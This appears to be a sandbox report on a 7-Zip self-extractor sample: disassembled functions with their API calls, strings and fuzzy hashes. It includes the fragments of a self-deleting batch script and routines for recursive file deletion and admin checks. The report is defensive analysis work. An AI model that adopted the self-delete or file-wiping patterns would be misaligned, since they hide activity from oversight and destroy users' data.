Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: ef87b2e52dde92dd11102c14b5a17c3afe989afc729bbcebbe3bdea788540431
Instruction ID: 703a6ff84afb8074b9885b8fa9c0ccab1db7962bc4b9572073b4c9a6fb1bc3a6
Opcode Fuzzy Hash: ef87b2e52dde92dd11102c14b5a17c3afe989afc729bbcebbe3bdea788540431
Instruction Fuzzy Hash: 8DB09230285700BAEF224B00DE0DB4A76A0BB80B06F24C428B288240E087B86818DA0E

Non-executed Functions

Function 0040247D Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 150stringCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,?), ref: 004024CC
wsprintfW.USER32 ref: 004024DD
GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004024F2
GetLastError.KERNEL32 ref: 004024F7
??2@YAPAXI@Z.MSVCRT(00000000), ref: 00402512
GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402525
GetLastError.KERNEL32 ref: 0040252C
lstrcmpiW.KERNEL32(00ABA1E8,?), ref: 00402541
??3@YAXPAX@Z.MSVCRT(00ABA1E8), ref: 00402551
??3@YAXPAX@Z.MSVCRT(?), ref: 0040256F
SetLastError.KERNEL32(00000003), ref: 00402578
lstrlenA.KERNEL32(0041B328), ref: 004025AC
??2@YAPAXI@Z.MSVCRT(00000000), ref: 004025C7
GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 004025F9
_wtol.MSVCRT ref: 0040260A
MultiByteToWideChar.KERNEL32(00000000,0041B328,00000001,00ABA1E8,00000002), ref: 0040262A

Strings

7zSfxString%d, xrefs: 004024D7

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ErrorLast$??2@??3@EnvironmentVariable$ByteCharInfoLocaleMultiWide_wtollstrcmpilstrlenwsprintf
String ID: 7zSfxString%d
API String ID: 2117570002-3906403175
Opcode ID: eba394e492bfb50e151d824ecc1c1c613fe538debf7ee36fbf13e84896701797
Instruction ID: 1954578a42ed511618fabe736ee1125ec7d3cad31fc3f85986fc13fa068848c6
Opcode Fuzzy Hash: eba394e492bfb50e151d824ecc1c1c613fe538debf7ee36fbf13e84896701797
Instruction Fuzzy Hash: 9951A379900214FFDB10DF75DD49ADABBA9FB08340F10443AE946E62D0E7B8A951CB1D

Function 004092C1 Relevance: 27.1, APIs: 18, Instructions: 144windowcomtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

GetDlgItem.USER32(?,000004B8), ref: 004092EE
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004092FD
GetDlgItem.USER32(?,000004B5), ref: 00409344
GetWindowLongW.USER32(00000000,000000F0), ref: 00409349
GetDlgItem.USER32(?,000004B5), ref: 00409359
SetWindowLongW.USER32(00000000), ref: 0040935C
GetSystemMenu.USER32(?,00000000,000004B4,00000000), ref: 00409382
EnableMenuItem.USER32(00000000,0000F060,00000001), ref: 00409394
GetDlgItem.USER32(?,000004B4), ref: 0040939E
SetFocus.USER32(00000000), ref: 004093A1
SetTimer.USER32(?,00000001,00000000,00000000), ref: 004093D0
CoCreateInstance.OLE32(0041C464,00000000,00000001,0041BD6C,?), ref: 004093F4
GetDlgItem.USER32(?,00000002), ref: 00409411
IsWindow.USER32(00000000), ref: 00409414
GetDlgItem.USER32(?,00000002), ref: 00409424
EnableWindow.USER32(00000000), ref: 00409427
GetDlgItem.USER32(?,000004B5), ref: 0040943B
ShowWindow.USER32(00000000), ref: 0040943E

Part of subcall function 0040819E: GetDlgItem.USER32(?,000004B6), ref: 004081AC

Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409240), ref: 00408E9F
Part of subcall function 00408E76: LoadIconW.USER32(00000000), ref: 00408EA2
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000032), ref: 00408EB6
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000031), ref: 00408EBB
Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409240), ref: 00408EC4
Part of subcall function 00408E76: LoadImageW.USER32(00000000), ref: 00408EC7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EE7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408EF0
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F0C
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F16
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F22
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F31
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F3F
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F4D
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F59
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F68

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: Item$Window$Long$MessageSendSystem$EnableHandleLoadMenuMetricsModuleShow$CreateFocusIconImageInstanceTimer
String ID:
API String ID: 1057135554-0
Opcode ID: ba3a8e7896f853d1d8996d9c4767784286a57f8b05f592c4c5be814e68872b41
Instruction ID: 5db8082ad3932120c1d3ad580c4d4a8d12b10d7a787853330903dc21ac74032f
Opcode Fuzzy Hash: ba3a8e7896f853d1d8996d9c4767784286a57f8b05f592c4c5be814e68872b41
Instruction Fuzzy Hash: E54184B0605708AFDA246F22DD49F6B7B9DFF44B04F00843EF955A62E1CB79A850CA1D

Function 004020BF Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 85libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 004020CA
FindResourceExA.KERNEL32(00000000,?,?,00000000), ref: 004020E7
FindResourceExA.KERNEL32(00000000,?,?,00000409), ref: 004020FB
SizeofResource.KERNEL32(00000000,00000000), ref: 0040210C
LoadResource.KERNEL32(00000000,00000000), ref: 00402116
LockResource.KERNEL32(00000000), ref: 00402121
LoadLibraryA.KERNEL32(kernel32,SetProcessPreferredUILanguages), ref: 0040214D
GetProcAddress.KERNEL32(00000000), ref: 00402156
wsprintfW.USER32 ref: 00402175
LoadLibraryA.KERNEL32(kernel32,SetThreadPreferredUILanguages), ref: 0040218A
GetProcAddress.KERNEL32(00000000), ref: 0040218D

Strings

%04X%c%04X%c, xrefs: 0040216F
kernel32, xrefs: 0040213D, 00402142, 00402189
SetProcessPreferredUILanguages, xrefs: 00402138
SetThreadPreferredUILanguages, xrefs: 00402184

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: Resource$Load$AddressFindLibraryProc$HandleLockModuleSizeofwsprintf
String ID: %04X%c%04X%c$SetProcessPreferredUILanguages$SetThreadPreferredUILanguages$kernel32
API String ID: 2639302590-365843014
Opcode ID: 4509f4e0e8980c838efd414ca7c3a82435c9d4736e02e482c88f6a1a6bb26b48
Instruction ID: 092f3855134823e072dda954e94301c8fdf66ebe7b0f0e4b82829ee13f00460f
Opcode Fuzzy Hash: 4509f4e0e8980c838efd414ca7c3a82435c9d4736e02e482c88f6a1a6bb26b48
Instruction Fuzzy Hash: 7C21B0B5941308BBDB119BA59C08F9B3ABCEB44711F108422FA04E72D0D6B8CD108BA9

Function 00409606 Relevance: 16.6, APIs: 11, Instructions: 96stringwindowCOMMON

Download Yara Rule

APIs

wvsprintfW.USER32(?,00000000,?), ref: 0040962A
GetLastError.KERNEL32 ref: 0040963B
FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
lstrlenW.KERNEL32(?), ref: 0040968B
lstrlenW.KERNEL32(?), ref: 00409692
??2@YAPAXI@Z.MSVCRT(00000000), ref: 004096A7
lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 004096D7
LocalFree.KERNEL32(?), ref: 004096E1

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: FormatMessagelstrcpylstrlen$??2@??3@ErrorFreeLastLocalwvsprintf
String ID:
API String ID: 829399097-0
Opcode ID: e19ea4daa404c5e85e295f528f45600472c05eaa69f6bcc88292a866bb27d639
Instruction ID: 0f5aa2174aa9d056a6dafd0f9c7aa592ac4ad2a583e4ab7749965f253d727b0f
Opcode Fuzzy Hash: e19ea4daa404c5e85e295f528f45600472c05eaa69f6bcc88292a866bb27d639
Instruction Fuzzy Hash: F0216176800108FFDB159FA1DC85DEB7BACEF08354B10847BF946A6191EA359E84CBA4

Function 004031DC Relevance: 16.6, APIs: 11, Instructions: 90filestringCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,0041A68C,?,?,?,00000000), ref: 0040320B
lstrcmpW.KERNEL32(?,0041A688,?,0000005C,?,?,?,00000000), ref: 0040325E
lstrcmpW.KERNEL32(?,0041A680,?,?,00000000), ref: 00403274
SetFileAttributesW.KERNEL32(?,00000000,?,0000005C,?,?,?,00000000), ref: 0040328A
DeleteFileW.KERNEL32(?,?,?,00000000), ref: 00403291
FindNextFileW.KERNEL32(00000000,00000010,?,?,00000000), ref: 004032A3
FindClose.KERNEL32(00000000,?,?,00000000), ref: 004032B2
SetFileAttributesW.KERNEL32(?,00000000,?,?,00000000), ref: 004032BD
RemoveDirectoryW.KERNEL32(?,?,?,00000000), ref: 004032C6
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 004032D1
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 004032DC

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: File$Find$??3@Attributeslstrcmp$CloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 1862581289-0
Opcode ID: d0a5d61d4e970fa2e12ee4e43d613ab26048e5a8235c629d0d05804913e14dc8
Instruction ID: 78ea6f58b6c007c21ca8543ec41bf80dc5d167b0896979d67dadc0a8fcb0d376
Opcode Fuzzy Hash: d0a5d61d4e970fa2e12ee4e43d613ab26048e5a8235c629d0d05804913e14dc8
Instruction Fuzzy Hash: 86216131601208BADB11AF61EC59EFE3B7CAF44746F1444BAF405B21D1EB389B45CA69

Function 00408DBB Relevance: 7.5, APIs: 5, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00408DDA
SetWindowsHookExW.USER32(00000007,Function_00008D01,00000000,00000000), ref: 00408DE5
GetCurrentThreadId.KERNEL32 ref: 00408DF4
SetWindowsHookExW.USER32(00000002,Function_00008D8D,00000000,00000000), ref: 00408DFF
EndDialog.USER32(?,00000000), ref: 00408E25

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: CurrentHookThreadWindows$Dialog
String ID:
API String ID: 1967849563-0
Opcode ID: 64107a2dc15b1d7316d888ad8cd960e682b3da45f1fa61c15e116e140322c59e
Instruction ID: b9e6956ff065cd05f2df324d2b5f6df6e8dcd0ec849c0deb45459710c318944d
Opcode Fuzzy Hash: 64107a2dc15b1d7316d888ad8cd960e682b3da45f1fa61c15e116e140322c59e
Instruction Fuzzy Hash: 51012671201218DFD2106F57ED44AB2F3ECEF54395B01843FE606D29A0CBB758008F69

Function 00402744 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,004066A7,?,?,?,?,004066A7), ref: 0040277D
CheckTokenMembership.ADVAPI32(00000000,004066A7,?,?,?,?,004066A7,00000000,?,?), ref: 0040278F
FreeSid.ADVAPI32(004066A7,?,?,?,004066A7,00000000,?,?), ref: 00402798

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 65cc84debf9a599d2aa76ae24c15b7a3b387b9e5edbe49ca06617e6efb59e37b
Instruction ID: 8fcaf4468ec200eb9195fd6454b881e9af9bec8ea6f7a7215fc0dea95779660d
Opcode Fuzzy Hash: 65cc84debf9a599d2aa76ae24c15b7a3b387b9e5edbe49ca06617e6efb59e37b
Instruction Fuzzy Hash: 44F03176945248FEDB01DFE88D85ADDBF7CAB18200F4480AAE105A3182D2705714CB29

Function 00405489 Relevance: 56.2, APIs: 30, Strings: 2, Instructions: 213threadprocesssynchronizationCOMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32(?,00000000,?), ref: 004054AA
??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 0040556D
??3@YAXPAX@Z.MSVCRT(?,?,00000000), ref: 00405575
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 0040557D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000), ref: 00405585
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000), ref: 0040558D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,00000000), ref: 00405595
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,00000000), ref: 0040559D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000), ref: 004055A5
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 004055AD
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004055B5
GetStartupInfoW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004055CE
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000001,01000004,00000000,00000044,?), ref: 004055F5
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 004055FF
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 0040560A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405612
CreateJobObjectW.KERNEL32(00000000,00000000), ref: 00405627
AssignProcessToJobObject.KERNEL32(00000000,?), ref: 0040563E
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000001,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 0040564E
SetInformationJobObject.KERNEL32(?,00000007,?,00000008), ref: 0040566F
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405678
GetQueuedCompletionStatus.KERNEL32(00000000,?,?,?,000000FF,?,?,?,?,?,?,?,?,?,00000000), ref: 00405697
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004056A0
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,00000000), ref: 004056A7
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004056B6
GetExitCodeProcess.KERNEL32(?,?), ref: 004056BF
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 004056CA
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 004056D6
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004056DD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004056E8

Strings

" -, xrefs: 004054D5
sfxwaitall, xrefs: 004054D0

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??3@$CloseHandleObject$CreateProcess$CompletionErrorLastResumeThread$AssignCodeCommandExitInfoInformationLinePortQueuedSingleStartupStatusWait
String ID: " -$sfxwaitall
API String ID: 2734624574-3991362806
Opcode ID: c2e281962814c2bd4c040bf537fa2d9b9fa3379860e294df17422ee88ae54ba2
Instruction ID: 96b1f86dbfc8e56d759c45ddf3715b356338dee30da8fd38d33b0e85c5ab07db
Opcode Fuzzy Hash: c2e281962814c2bd4c040bf537fa2d9b9fa3379860e294df17422ee88ae54ba2
Instruction Fuzzy Hash: F66151B2801108BBDF11AFA2DC45DDF3B7DFF48314F004536F915A21A1EB3A99549B69

Function 00403B54 Relevance: 38.8, APIs: 20, Strings: 2, Instructions: 290comCOMMON

Download Yara Rule

APIs

_wtol.MSVCRT ref: 00403B78
SHGetSpecialFolderPathW.SHELL32(00000000,?,?,00000000,0041EA00,00000000,0041E9F4), ref: 00403C1B
??3@YAXPAX@Z.MSVCRT(?,?), ref: 00403C8C
??3@YAXPAX@Z.MSVCRT(?,?,?), ref: 00403C94
??3@YAXPAX@Z.MSVCRT(?,?,?,?), ref: 00403C9C
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?), ref: 00403CA4
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?), ref: 00403CAC
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?), ref: 00403CB4
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?), ref: 00403CBC
_wtol.MSVCRT ref: 00403D12
CoCreateInstance.OLE32(0041C454,00000000,00000001,0041C414,[@,.lnk,?,0000005C), ref: 00403DB3
??3@YAXPAX@Z.MSVCRT(?,0000005C), ref: 00403E4B
??3@YAXPAX@Z.MSVCRT(?,?,0000005C), ref: 00403E53
??3@YAXPAX@Z.MSVCRT(?,?,?,0000005C), ref: 00403E5B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,0000005C), ref: 00403E63
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,0000005C), ref: 00403E6B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,0000005C), ref: 00403E73
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,0000005C), ref: 00403E7B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,0000005C), ref: 00403E81
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,0000005C), ref: 00403E89

Strings

.lnk, xrefs: 00403D92
[@, xrefs: 00403B65, 00403D9F, 00403DC1, 00403E13, 00403E3F, 00403E06, 00403DF5, 00403DE4, 00403DD3, 00403B77, 00403C7C, 00403DA2, 00403DCA, 00403DDB, 00403DEC, 00403DFD, 00403E0F, 00403E21, 00403E44

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??3@$_wtol$CreateFolderInstancePathSpecial
String ID: .lnk$[@
API String ID: 408529070-3575931549
Opcode ID: bf0e8a7df910328bb8376132718844ce6bb33e016dc20b09a56e47b2bf9c17d8
Instruction ID: 946a9f5c9c0093345211e4afafb7f9b8cfdd3f629f77b347e180bd11e348c725
Opcode Fuzzy Hash: bf0e8a7df910328bb8376132718844ce6bb33e016dc20b09a56e47b2bf9c17d8
Instruction Fuzzy Hash: 57A16E75810108ABCF15EFA1CC969EEBB7DFF19306F50442AF402B61A1EB399E41CB58

Function 00404F0E Relevance: 37.0, APIs: 3, Strings: 18, Instructions: 227stringCOMMON

Download Yara Rule

APIs

_wtol.MSVCRT ref: 004050E7
_wtol.MSVCRT ref: 00405103
lstrcmpiW.KERNEL32(00000000,0041B810,?,?,?,?,?,?,?,?,?,?,?,?,?,004062C4), ref: 00404FEA

Part of subcall function 0040247D: GetLastError.KERNEL32(00000000,?,?), ref: 004024CC
Part of subcall function 0040247D: wsprintfW.USER32 ref: 004024DD
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004024F2
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 004024F7
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 00402512
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402525
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 0040252C
Part of subcall function 0040247D: lstrcmpiW.KERNEL32(00ABA1E8,?), ref: 00402541
Part of subcall function 0040247D: ??3@YAXPAX@Z.MSVCRT(00ABA1E8), ref: 00402551
Part of subcall function 0040247D: SetLastError.KERNEL32(00000003), ref: 00402578
Part of subcall function 0040247D: lstrlenA.KERNEL32(0041B328), ref: 004025AC
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004025C7
Part of subcall function 0040247D: GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 004025F9

Strings

Title, xrefs: 00404F1C
OverwriteMode, xrefs: 0040502C
ExtractPathTitle, xrefs: 0040510C
ExtractPathWidth, xrefs: 004050F0
ExtractDialogWidth, xrefs: 004050C9
WarningTitle, xrefs: 00404FA2
ErrorTitle, xrefs: 00404F8A
Progress, xrefs: 00404FD2
ExtractTitle, xrefs: 00404FBA
ExtractPathText, xrefs: 00405124
GUIFlags, xrefs: 00405049, 0040504E, 0040506A
CancelPrompt, xrefs: 0040513C
MiscFlags, xrefs: 0040507C, 00405081, 0040509D
ExtractDialogText, xrefs: 004050B8
ExtractCancelText, xrefs: 004050AC
PasswordTitle, xrefs: 00405154
PasswordText, xrefs: 0040516C
GUIMode, xrefs: 00404FFF

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ErrorLast$??2@EnvironmentVariable_wtollstrcmpi$??3@InfoLocalelstrlenwsprintf
String ID: CancelPrompt$ErrorTitle$ExtractCancelText$ExtractDialogText$ExtractDialogWidth$ExtractPathText$ExtractPathTitle$ExtractPathWidth$ExtractTitle$GUIFlags$GUIMode$MiscFlags$OverwriteMode$PasswordText$PasswordTitle$Progress$Title$WarningTitle
API String ID: 2725485552-2157245290
Opcode ID: d0ccb95079a2c606f9a3c0ce682cef1d136eaf38159f665c4b074d3e10087a1f
Instruction ID: 66a2ce9ff7a2cb702224bd8f74ea761d5872454bbbc4643ec2785d60350ddd68
Opcode Fuzzy Hash: d0ccb95079a2c606f9a3c0ce682cef1d136eaf38159f665c4b074d3e10087a1f
Instruction Fuzzy Hash: AC51D8F1E016007ADA216B275D4ADAF366CEB85704B28443BFD04F22D6E77C4A4046EF

Function 00405793 Relevance: 36.9, APIs: 14, Strings: 7, Instructions: 144fileCOMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(?,?,?), ref: 004057DA
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0040580B
WriteFile.KERNEL32(0041EA30,?,?,00407468,00000000,del ",:Repeat,00000000), ref: 004058C0
??3@YAXPAX@Z.MSVCRT(?), ref: 004058CB
CloseHandle.KERNEL32(0041EA30), ref: 004058D4
SetFileAttributesW.KERNEL32(00407468,00000000), ref: 004058EB
ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 004058FD
??3@YAXPAX@Z.MSVCRT(?), ref: 00405906
??3@YAXPAX@Z.MSVCRT(?), ref: 00405912
??3@YAXPAX@Z.MSVCRT(00407468,?), ref: 00405918
??3@YAXPAX@Z.MSVCRT(00407468,?,?,?,?,?,?,?,?,?,?,?,?,?,00407468,0041EA30), ref: 00405946

Strings

", xrefs: 0040584D, 00405852, 00405896
" goto Repeat, xrefs: 00405874
if exist ", xrefs: 0040585B
del ", xrefs: 00405833, 00405838, 00405881
:Repeat, xrefs: 00405826
7ZSfx%03x.cmd, xrefs: 004057EC
open, xrefs: 004058F7

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
